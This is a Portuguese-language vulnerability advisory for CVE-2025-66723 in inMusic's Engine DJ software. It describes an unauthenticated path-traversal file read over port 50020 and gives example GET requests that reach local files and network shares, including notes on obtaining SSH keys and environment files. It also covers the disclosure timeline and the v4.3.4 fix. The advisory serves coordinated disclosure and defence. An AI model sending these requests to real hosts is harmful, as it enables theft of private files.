
CVE-2025-66723: inMusic Brands Engine DJ >=3.0.0 até <4.3.4 expõe arquivos locais e de rede a entidades externas
O software Engine DJ da inMusic Brands contém um servidor HTTP embutido para transmitir arquivos de biblioteca de mídia para clientes conectados na rede. Os arquivos de mídia são referenciados pelo caminho do sistema de arquivos. O Engine DJ não autentica clientes nem restringe os caminhos do sistema de arquivos solicitados. Isso permite que um atacante exfiltre arquivos sensíveis locais ou acessíveis pela rede de sistemas afetados.
Um atacante precisa apenas de acesso à rede ao host afetado; não é necessária autenticação ou interação prévia.
O Engine DJ v4.3.4, lançado em 17 de novembro de 2025, inclui uma mitigação. Os usuários são incentivados a atualizar o mais rápido possível.
Pontuação Base CVSS v3.1: 7.5 (Alta)
Vetor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Engine DJ >=3.0.0, <4.3.4, em todas as plataformas (macOS, Windows).
Versões especificamente testadas como afetadas/vulneráveis, macOS e Windows:
3.0.0, 3.0.1, 3.1.0, 3.1.1, 3.2.0, 3.3.0, 3.4.0,
4.0.0, 4.0.1, 4.1.0, 4.2.0, 4.2.1, 4.3.0
Versões especificamente testadas como não afetadas, macOS e Windows:
2.0.0, 2.0.1, 2.0.2, 2.1.0, 2.2.0, 2.2.1, 2.2.2, 2.3.0, 2.3.1, 2.3.2, 2.4.0,
4.3.4
Quando iniciado, o Engine DJ se liga à porta :50020 em todas as interfaces de rede IPv4,
exceto localhost.
Os clientes devem usar um serviço gRPC separado na porta :50010 para solicitar
acesso e pesquisar arquivos de mídia. Uma vez que o caminho do arquivo de mídia desejado é encontrado,
o cliente então fará uma solicitação HTTP de volta na porta :50020:
GET /download/%3CC%3A%2FMusic%2Ftest.flac%3E HTTP/1.1
Host: 192.0.2.1:50020
User-Agent: EngineOS/1.0 DenonDJ
Accept: */*
HTTP/1.1 200 OK
Content-Length: 37517194
Content-Type: application/octet-stream
Keep-Alive: timeout=5, max=5
…
Nota: Quando decodificado, o caminho GET acima é simplesmente:
/download/<C:/Music/test.flac>
Não é necessário codificar por cento esses caracteres ao fazer solicitações.
Um atacante pode solicitar qualquer coisa acessível ao usuário sob o qual o software Engine DJ está executando, desde que o caminho seja conhecido pelo atacante. Neste exemplo, um arquivo de texto é usado para teste:
GET /download/<C:/Users/USERNAME/test.txt> HTTP/1.1
Host: 192.0.2.1:50020
HTTP/1.1 200 OK
Content-Length: 40
Content-Type: application/octet-stream
Keep-Alive: timeout=5, max=5
INSEGURO...
De arquivo de texto test.txt
Arquivos acessados durante testes de laboratório de prova de conceito incluíam chaves SSH privadas e arquivos de ambiente.
Os caminhos solicitados não se limitam a arquivos locais. Caminhos de rede também foram considerados acessíveis, sujeitos às permissões do host:
/download/<//EXAMPLE-SERVER/C$/secret.txt>
Felizmente, não há cabeçalho Access-Control-Allow-Origin ou cabeçalhos relacionados
na resposta do servidor. Portanto, os arquivos não são acessíveis a partir de
clientes web normais. Certas extensões ou sinalizadores do navegador podem ser usados para
afrouxar as restrições de solicitação de origem cruzada, mas são incomuns.
O tráfego de rede IPv4 na porta :50020 pode ser usado para adivinhar que
o Engine DJ está em uso, mas não indica se um host é vulnerável.
O servidor embutido não se identifica em suas respostas, e parece
não haver diferença mensurável entre versões vulneráveis e invulneráveis do
Engine DJ. Portanto, não parece ser possível externamente determinar
se um host é vulnerável, a menos que se tente solicitar um arquivo conhecido por
existir.
Imediatamente após a descoberta, a inMusic Brands foi notificada da vulnerabilidade através de seus canais de suporte técnico. A resposta foi profissional e rápida, e uma mitigação para o problema foi lançada como parte da v4.3.4 em 17 de novembro de 2025 tanto para macOS quanto para Windows.
Embora arquivos de mídia ainda possam ser baixados sem autenticação/autorização,
os caminhos solicitáveis agora estão na lista de permissões, de modo que tentar acessar um arquivo
fora da biblioteca de mídia não é possível. Os usuários receberão uma resposta 403
para qualquer coisa que não esteja na lista de permissões, mesmo que não exista.
GET /download/<C:/Users/USERNAME/test.txt> HTTP/1.1
Host: 192.0.2.1:50020
HTTP/1.1 403 Forbidden
Content-Length: 17
Content-Type: text/html
Keep-Alive: timeout=5, max=5
…
Os downloads oficiais das versões mais recentes do Engine DJ podem ser encontrados no site oficial do Engine DJ:
Para perguntas sobre este relatório, entre em contato com o autor:
Brad Isbell, AudioPump, Inc. [email protected]